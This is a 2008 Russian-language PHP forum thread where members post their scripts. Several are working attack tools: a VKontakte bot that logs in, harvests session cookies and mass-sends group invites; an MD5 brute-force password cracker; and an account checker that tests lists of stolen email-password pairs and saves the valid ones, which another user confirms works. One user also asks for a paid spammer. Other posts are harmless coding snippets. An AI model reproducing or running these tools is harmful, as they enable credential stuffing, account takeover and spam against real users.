      <td width="100" align="center" valign="middle" bgcolor="#FDFFFF" class="comment">пароль</td>
    </tr>
    <tr>
      <td valign="top"><input name="begin" type="text" class="inputko" id="begin" value="<?=$begin;?>" /></td>
      <td valign="top"><input name="end" type="text" class="inputko" id="end" value="<?=$end;?>" /></td>
      <td valign="top"><input name="submit" type="submit" class="buttoncheg" id="submit" value="Пригласить" /></td>
      <td width="100" valign="top"><input name="email" type="text" class="inputko2" id="email" value="<?=$email;?>" /></td>
      <td width="100" valign="top"><input name="pass" type="text" class="inputko2" id="pass" value="<?=$pass;?>" /></td>
    </tr>
    <tr>
      <td valign="top">&nbsp;</td>
      <td align="right" valign="middle"><span class="comment">ID группы &gt;</span></td>
      <td align="center" valign="middle" bgcolor="#FDFFFF" class="error"><input name="gid" type="text" class="inputko3" id="gid" value="<?=$gid;?>" /></td>
      <td width="200" colspan="2" valign="middle">&nbsp;</td>
    </tr>
  </table></td>
  </tr>
</table>
</form>
<br />
<?php
if ($_POST['submit']) {
# Соединяемся с сервером ВКонтакте.ру
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
if (!
fp) {die();}
# Авторизуемся
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans='';
while(!
feof($fp)) 
{
    
$ans.=fgets($fp,128);
}
fclose($fp);
# вытаскиваем кукисы из ответа сервера
preg_match("/revalidate(.*?)Location/is", $ans, $cookies);
$cookies = str_replace("Set-Cookie: ", "",$cookies[1]);
preg_match("/remixchk(.*?);/is", $cookies, $cook1);
preg_match("/remixmid(.*?);/is", $cookies, $cook2);
preg_match("/remixemail(.*?);/is", $cookies, $cook3);
preg_match("/remixpass(.*?);/is", $cookies, $cook4);
$cook1 = "remixchk=".$cook1[1]."; ";
$cook2 = "remixmid=".$cook2[1]."; ";
$cook3 = "remixemail=".$cook3[1]."; ";
$cook4 = "remixpass=".$cook4[1]."; ";
$acook = $cook1.$cook2.$cook3.$cook4;
$acook = str_replace ("==", "=", $acook);
# Открываем новое соединение
for($i=$begin;$i<$end;$i++) {
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
$out  = "GET /groups.php?act=ajaxinv&gid=".$gid."&id=".$i." HTTP/1.0\r\n";  
$out .= "Host: vkontakte.ru\r\n"; 
$out .= "User-Agent: ".$user_agent."\r\n"; 
$out .= "Cookie: ".$acook."\r\n\r\n";
fwrite($fp, $out);
$ans='';
while(!
feof($fp))
{
    
$ans.=fgets($fp,128);
}
# достаем результат
preg_match("/>(.*?)</is", $ans, $result);
# Выводим его
echo "<center><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"vtab\">
  <tr>
    <td width=\"70\" valign=\"middle\">"
.$i."</td>
    <td width=\"350\" valign=\"middle\">"
.$result[1]."</td>
  </tr>
</table><center>"
;
ob_flush();
flush();
fclose($fp);
sleep(1);
}
}
?>

</body>
</html>


Doom123 19.01.2008 00:55

Подбор пароля до 16 символов [a-z][A-Z][0-9]

криво написаный! под md5 но легко переделать под любую другую функцию

Пароли больше 5 символов подбирать не советую хотя и 5 это перебор...

Практиковался в php

PHP код:

<?
ini_set
("max_execution_time", 99999999);
$hash = "2fad8504df72a9e32bdd6f9c2611900d";
$a = array(); $b = array(); $c = array(); $d = array();
for(
$i=0; $i <= 9; $i++) {
$a[] = $i;} 

for(
$i=97; $i <= 122; $i++) {
$b[] = chr($i);} 

for(
$i=65; $i <= 90; $i++) {
$c[] = chr($i);} 
$d = array_merge($a, $b, $c);

for (
$e=0, $f=(-1), $g=(-1), $h=(-1), $i=(-1), $j=(-1), $k=(-1), $l=(-1), $m=(-1), $n=(-1), $o=(-1), $p=(-1), $r=(-1), $s=(-1), $t=(-1), $u=(-1); $e <= 61; $e++) {
@
$cde = $d[$e].$d[$f].$d[$g].$d[$h].$d[$i].$d[$j].$d[$k].$d[$l].$d[$m].$d[$n].$d[$o].$d[$p].$d[$r].$d[$s].$d[$t].$d[$u];
if (
$hash == md5($cde)) {echo $cde; break;}
if(
$e==61) {$f++; $e=(-1);} if($f==62) {$g++; $f=0;} if($g==62) {$h++; $g=0;} if($h==62) {$i++; $h=0;}
if(
$i==62) {$j++; $i=0;} if($j==62) {$k++; $j=0;} if($k==62) {$l++; $k=0;} if($l==62) {$m++; $l=0;} 
if(
$m==62) {$n++; $m=0;} if($n==62) {$o++; $n=0;} if($o==62) {$p++; $o=0;} if($p==62) {$r++; $p=0;}
if(
$r==62) {$s++; $r=0;} if($s==62) {$t++; $s=0;} if($t==62) {$u++; $t=0;} if($u == 62) {echo "Не найдено"; break;}
}
?>


NNNS 09.02.2008 21:17

Еще одна мегахрень от меня, которую я написал коротая время на уроке литературы

Функция определяет статус пользователя MRA (Mail.ru Agent)
PHP код:

<?php
$mail 
= $_SERVER['QUERY_STRING'];
function 
mra_status ($mail) 
{

    
$offline    = "a46f044e175e9b1b28c8d9a9f66f4495";
    
$online     = "b3b974fe114d5fba50b9658641a7a393";
    
$away       = "89d1bfcdbf238e7faa6aeb278c27b676";
    
$status     = md5_file("http://status.mail.ru/?".$mail);
    
$mra_status = "";
    if (
$status == $offline) 
    {
        
        
$mra_status = "offline";

    }
    else 
    {
        if (
$status == $online) 
        {
            
$mra_status = "online";
        }

        else 
        {
            if (
$status == $away) 
            {
                
$mra_status = "away";
            }

        }


    }    return 
$mra_status;
}

echo 
mra_status($mail);

?>

Пример : http://nnns.ru/scripts/mra/?[Ваш_email]

Marikontos 14.02.2008 05:47

Здравствуйте!!! А скажите пожалуйста по поводу Приглашалки в группу vkontakte. Я залил на хостинг, заполняю все поля, нажимаю пригласить а мне в ответ Невозможно отобразить страницу. Ответьте пожалуйста, чего нада сделать?

Marikontos 14.02.2008 21:21

Товарищи!!! Ну скажите в чём же может быть проблема?

Xcontrol212 19.03.2008 17:48

проверь права))))))
мб данный скриптнеработает на бесплатном хостинге=)

-Hormold- 19.03.2008 18:17

Что за хост?

NNNS 25.03.2008 14:15

ВКонтакте АККчекер 0.1

Скрипт чекает аккаунты Вконтакте.ру на валидность.

Для работы требуется хост с поддержкой сокетов.
Залейте скрипт на хостинг.
Создайте файл "valid.txt" поставьте на него права на запись.
В файл "accounts.txt" вставьте список аккаунтов. "E-mail;Pass"
PHP код:

<?php
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
#&-------------------------------
#&     ВКонтакте АККчекер    0.1
#&     VKontakte ACCchecker  0.1
#&     By NNNS::[icq: 474374] 
#&     All lefts reserved.
#&-------------------------------
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|

# Отключаем ограничение на время выполнения скрипта
set_time_limit(0);
# User Agent
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12"; 
# Файл с аккаунтами
$acclist = "accounts.txt";
# Файл с валидными аккаунтами
$vallist = "valid.txt";
# Помещаем аккаунты в массив
$account = file($acclist);
# Рабочие аккаунты
$valid   = 0;
# Нерабочие аккаунты
$invalid = 0;

function 
vkCheck($email,$pass) { 
    
# Открываем сокет
    
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10); 
    
# Отправляем заголовки
    
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n"; 
    
$out .= "Host: vkontakte.ru\r\n"; 
    
$out .= "User-Agent: ".$user_agent."\r\n"; 
    
$out .= "Cookie: income=1\r\n"; 
    
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n"; 
    
fwrite($fp,$out); 
    
# Записываем ответ сервера в переменную
    
$ans=fgets($fp,128); 
    
# Закрываем сокет
    
fclose($fp); 
    
# Если 302 найден, значит акк валидный
    
if(preg_match("/\b302 Found\b/is", $ans)) {
        return 
true;
    } else {
        return 
false;
    }
}
# Запускаем цикл
for($i=0;$i<count($account);$i++) {
    
# Удаляем симолы перевода строки
    
$caccaunt          = str_replace("\r\n","",$account[$i]);
    
# Разбиваем на e-mail и пароль
    
list($email,$pass) = explode(";",$caccaunt);
    
# Вызываем функцию проверки аккаунта
    
$answer            = vkCheck($email,$pass);
    
# Если аккаунт рабочий, записываем его в файл
    
if ($answer == true) {
        
$fd = fopen($vallist,"a+");
        
fputs($fd,$account[$i]);
        
fclose($fd);
        
$valid++;
    } else {
        
$invalid++;    
    }
}
# Выводим результат
echo "Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid;
?>


Foxtrot1 27.03.2008 23:49

все таки выложил :) и хорошо... на благо общества , кста я юзал его - работает как часы +1. Только когда файл accounts.txt перегружаешь большим количеством аков результат не выдает, но все равно записывает(просто скачиваю valid.txt и все...

LolFEm 28.03.2008 01:14

to Хелпер

пофикси багу деление на 0

astrologer 28.03.2008 10:53

Хелпер, Мне кажется, ты недопонял конструкцию switch.
PHP код:

switch ($num3) 
{ 
case 
"+"; 
echo 
$num1 + $num2; 
} 
switch (
$num3) 
{ 
case 
"-"; 
echo 
$num1 - $num2; 
} 
switch (
$num3) 
{ 
case 
"*"; 
echo 
$num1 * $num2; 
} 
switch (
$num3) 
{ 
case 
"/"; 
echo 
$num1 / $num2; 
} 

PHP код:

switch ($num3) 
{ 
  case 
'+':
  echo 
$num1 + $num2;
  break;

  case 
'-':
  echo 
$num1 - $num2; 
  break;

  case 
'*': 
  echo 
$num1 * $num2; 
  break;

  case 
'/':
  echo 
$num1 / $num2; 
  break;

  default:
  echo 
'Какой-то левый параметр.';
} 


Ponchik 29.03.2008 20:19

Самый трушный мой скрипт от скуки, это мне совсем нечего было делать :)
PHP код:

<?php
function genStr($min,$max) {
    
$glas = 'уеыаоэяию'; #гласный букафке
    
$soglas = 'цкнгшщзхфвпрлджчсмтб'; #сагласные
    
$to = rand($min,$max);
    
$ret = '';
    for(
$i=0;$i<$to;$i++) {
        if(
$i%2) $ret .= $glas[rand(0,strlen($glas)-1)];
        else 
$ret .= $soglas[rand(0,strlen($soglas)-1)];
    }
    
$ret[0] = strtoupper($ret[0]);
    return 
$ret;
}
?>

Генерит иногда оч ржачные слова
genStr(мин.букавок, максимум);
Запускаем, прёмся :D
PHP код:

<?php
for($i=0;$i<10;$i++) {
    echo 
genStr(3,10).'<br>';
}
?>


Phm.phx 01.04.2008 19:15

PHP код:

<?
$i
= "<script>alert("С 1 апреля") </script><br>"
for ($i; ; )
{
echo 
$i
}
?>


NOmeR1 01.04.2008 22:22

Код:

<script> while(true) { alert("С 1 апреля") } </script>
Phm.phx, так легче)

d_x 03.04.2008 22:03

Действительно нечего было делать, написал парсер башорга, умеет выполнять все функции с ним :)

Вот класс для работы с башоргом:
http://rapidshare.com/files/104604548/bash.php.html
(на рапиду выложил, т.к. тут исходники искажаются немного)


Вот доки по классу :)
PHP код:

Все переменные - private, инфо просто для ознакомления

$bash_url 
- url страницы башорга
$bash_text 
- текст какой-либо из страниц башорга
$bash_arr 
- массив пропарсенных цитат
$bash_type 
- страница, которую читаем
$bash_page 
- номер страницы, которую читаем
$bash_max_page 
- максимальная страница 
$bash_curr_page 
- текущая страница
$bash_last_quote 
- последняя прочитанная цитата
$bash_q_num 
- номер прочитанной цитаты
$bash_approved 
- число добавленных за день цитат


Методы класса

Bash
($url='bash.org.ru') - конструктор класса, $url - адрес башорга:)
get_bash_text() - public, возвращает весь полученный функцией bash_read контент
get_bash_arr
() - public, возвращает весь полученный функцией bash_read контент

bash_read
($typ=0,$page=1,$stext='') - public, главная функция, читает башорг
$typ
==0 - читает главную страницу
$typ
==1 - читает страницу "по рейтингу", можно указать $page - номер страницы
$typ
==2 - читает бездну
$typ
==3 - читает топ бездны
$typ
==4 - читает "случайные"
$typ==5 - читает конкретную цитату с номером $page
$typ
==6 - ищет цитаты среди добавленных, нужно задать $stext - строка поиска
$typ
==7 - ищет цитаты в бездне, нужно задать $stext - строка поиска
$typ
==8 - читает страницу "по дате", можно указать $page - номер страницы

bash_socket
($service_uri,$ref='',$method='GET') - private, работает с сокетами

bash_parse
() - public, парсит полученную с помощью bash_read страницу
Если были считаны главная
/"по рейтингу"/"случайные"/конкретная цитата по номеру/"по дате"/был произведён поиск в добавленных, то
возвращается массив 
array('id','rating','approved','date','cite'), где id - массив номеров цитат, rating - массив и рейтингов, approved - массив ников
тех
, кто добавлял цитаты, date - массив дат и времён добавления, cite - массив текстов цитат.
Кроме того, если были считаны страницы "по рейтингу"/"по дате", функция определяет текущую страницу и максимальное число страниц, их можно получить
с помощью get_curr_page и get_max_page соответственно
. Если же была считана главная страница, то определяется число добавленных за последние сутки цитат,
его можно получить с помощью get_approved_num.

Если была считана бездна/произведён поиск по бездне, то возвращается массив array('id','date','cite').

Если был считан топ бездны, то возвращается массив array('id','rating','date','cite').

get_number() - public, возвращает число найденных на странице цитат
get_page_name
() - public, возвращает имя последней считанной страницы
get_max_page
(), get_curr_page() - public, см. bash_parse
rate_cite
($id,$typ=0,$inabyss=0) - public, изменяет рейтинг цитаты с номером $id. Если $typ==0, то ставится "+", если 1, то "-", если "2", то "боян"
Если голосовать нужно за цитату в бездне, то укажите $inabyss==1, если же за уже добавленную цитату, то 0.
Функция возвращает строку 
'abyss', если после голосования был редирект на бездну, либо номер цитаты, на которую был редирект, либо 0, если не удалось распознать ни первое ни второе.
get_cite_rate($id) - public, получает рейтинг добавленной цитаты с номером $id
bash_add
($cite='') - public, добавляет цитату с текстом $cite
get_approved_num
() - public, см. bash_parse



Пример
: для того, чтобы вывести свеженькие сегодняшние цитаты с главной страницы, достаточно такого кода:

require_once(
"bash.php"); //подключаем класс
$bash=new Bash(); //создаём объект
$bash->bash_read(); //читаем главную
$cite=$bash->bash_parse(); //парсим её

$anum=$bash->get_approved_num(); //получаем число добавленных сегодня цитат
$num=$bash->get_number(); //получаем число найденных цитат

if($anum>$num) $anum=$num; //если добавлено было больше, чем отображается

for($i=0;$i<$anum;$i++)
{
  print 
"<hr>{$cite['cite'][$i]}"; //выводим цитатки
} 


Вот пример простого ридера баша на базе моего класса:
PHP код:

<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Bash.Org.Ru Reader by DX</title>
<style>
body
{
font-family:'Arial';
font-size:12;
}
hr
{
height: 1px;
color:black;
border:none;
background-color:blac;
}
.header
{
font-size:16;
font-weight:bold;
}
.bkg
{
background-color:#99bbff;
}
a,a:active,a:visited
{
color:#34498B;
text-decoration:none;
font-weight:700;
}
a:hover
{
color: blue;
font-weight:700;
text-decoration:underline;
}
input
{
BORDER: rgb(50,50,50) 1px outset;
FONT-SIZE: 11px;
font-family:Arial;
}
</style></head>
<body>
<b><a href="?loc=0">Главная App.</a> | <a href="?loc=10">Главная All</a> | <a href="?loc=3">Топ бездны</a>  | <a href="?loc=2">Бездна</a> | <a href="?loc=1">По рейтингу</a>
 | <a href="?loc=4">Случайные</a></b><form action="" method="get"><input type="hidden" name="loc" value="5">ID цитаты: <input type="text" name="page"> <input type="submit" value="Читать"></form><hr>
<?php
error_reporting
(E_ALL);
require_once(
"bash.php");


$loc=isset($_GET['loc']) ? $_GET['loc'] : 0;
$cid=isset($_GET['id']) ? $_GET['id'] : 0;

if(
$loc==1 || $loc==5)
  
$page=isset($_GET['page']) ? $_GET['page'] : 1;
else
  
$page=1;

$bash=new Bash();

$a=isset($_GET['a']) ? $_GET['a'] : 0;

if(
$loc=='6')
{
  
$tmp=$bash->rate_cite($cid,0,$a);
  
$loc=$tmp=='abyss' ? 2 : 5;
  
$page=$cid;
}
else if(
$loc=='7')
{
  
$tmp=$bash->rate_cite($cid,1,$a);
  
$loc=$tmp=='abyss' ? 2 : 5;
  
$page=$cid;
}
else if(
$loc=='8')
{
  
$tmp=$bash->rate_cite($cid,2,$a);
  
$loc=$tmp=='abyss' ? 2 : 5;
  
$page=$cid;
}

$xloc=$loc;
if(
$loc==10) $loc=0;

$bash->bash_read($loc,$page);
$cite=$bash->bash_parse();

if(
$xloc==0) $anum=$bash->get_approved_num(); else $anum=0;

$num=$bash->get_number();

if(
$xloc==0)
{
  if(
$anum>100) $anum=$num;
}
else
{
  
$anum=$num;
}

print 
"<center><span class='header'>".$bash->get_page_name()."</span></center><hr><b>Найдено: $anum</b>";

$ptxt='';

if(
$loc==1)
{
  
$ptxt="<br><b>Страницы: </b>";

  
$maxp=$bash->get_max_page();
  
$curp=$bash->get_curr_page();

  
$ptxt.="<a href='?loc=1&page=1'>первая</a> || ";

  if(
$curp>1)
  {
    
$tmp=$curp-1;
    
$ptxt.="<a href='?loc=1&page=$tmp'>&lt;&lt;&lt;предыдущая</a> &nbsp;";
  }

  
$ptxt.='<b>'.$curp.'</b>';

  if(
$maxp>$curp)
  {
    
$tmp=$curp+1;
    
$ptxt.=" &nbsp;<a href='?loc=1&page=$tmp'>следующая&gt;&gt;&gt;</a>";
  }

  
$ptxt.=" || <a href='?loc=1&page=$maxp'>последняя</a>";

  print 
$ptxt;
}



for(
$i=0;$i<$anum;$i++)
{
  print 
"<hr><span class='bkg'>#{$cite['id'][$i]} | {$cite['date'][$i]}";

  if(isset(
$cite['rating'][$i]))
    print 
" | <b>Rate</b>: {$cite['rating'][$i]}";

  if(isset(
$cite['approved'][$i]))
    print 
" | <b>{$cite['approved'][$i]}</b>";

  if(
$loc==0 || $loc==1 || $loc==5 || $loc==4) $a=0; else $a=1;
  print 
" || <a href='?loc=6&id={$cite['id'][$i]}&a=$a'>:D</a> | <a href='?loc=7&id={$cite['id'][$i]}&a=$a'>:(</a> | <a href='?loc=8&id={$cite['id'][$i]}&a=$a'>:X</a>";

  print 
'</span><br>'.$cite['cite'][$i];
}

if(
$ptxt)
  print 
'<hr>'.$ptxt;


?>
</body></html>


Foxtrot1 12.04.2008 00:42

кто напишет спамер vkontakte можно за $.

Хелпер 27.04.2008 23:03

он вроде есть


Время: 06:04